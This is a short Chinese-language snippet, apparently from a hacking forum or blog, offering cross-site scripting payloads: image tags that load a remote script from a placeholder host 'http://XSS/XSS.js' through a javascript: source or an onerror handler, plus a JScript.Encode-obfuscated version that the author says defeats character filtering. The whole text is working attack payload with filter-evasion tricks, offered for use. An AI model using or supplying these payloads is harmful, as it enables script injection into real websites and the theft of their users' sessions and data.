程序代码
<img src="javascript:try{var s=document.createElement('script');s.src='http://XSS/XSS.js';document.body.appendChild(s);}catch(e){}"></img>
字符过滤怎么办?用Encode加密后就无敌了~
未加密前:
程序代码
<img src='#' XSS="try{var s=document.createElement('script');s.src='http://XSS/XSS.js';document.body.appendChild(s);}catch(e){}" onerror="execScript(decodeURI(this.XSS),'Jscript.Encode');" >
加密后:
程序代码
<img src='#' XSS="#@~^bQAAAA==OMX`7lMP/{NK^Es+UYcm.nmY+As+s+xDcv/1DbwOBbIkRdD1xB4YO2=zzpjUzp?U N/vpNKmEs+ or(W[Xcl22 xN;4k^N`kbI81lDm4`nbP8XCcAAA==^#~@ " onerror="execScript(decodeURI(this.XSS),'Jscript.Encode');" >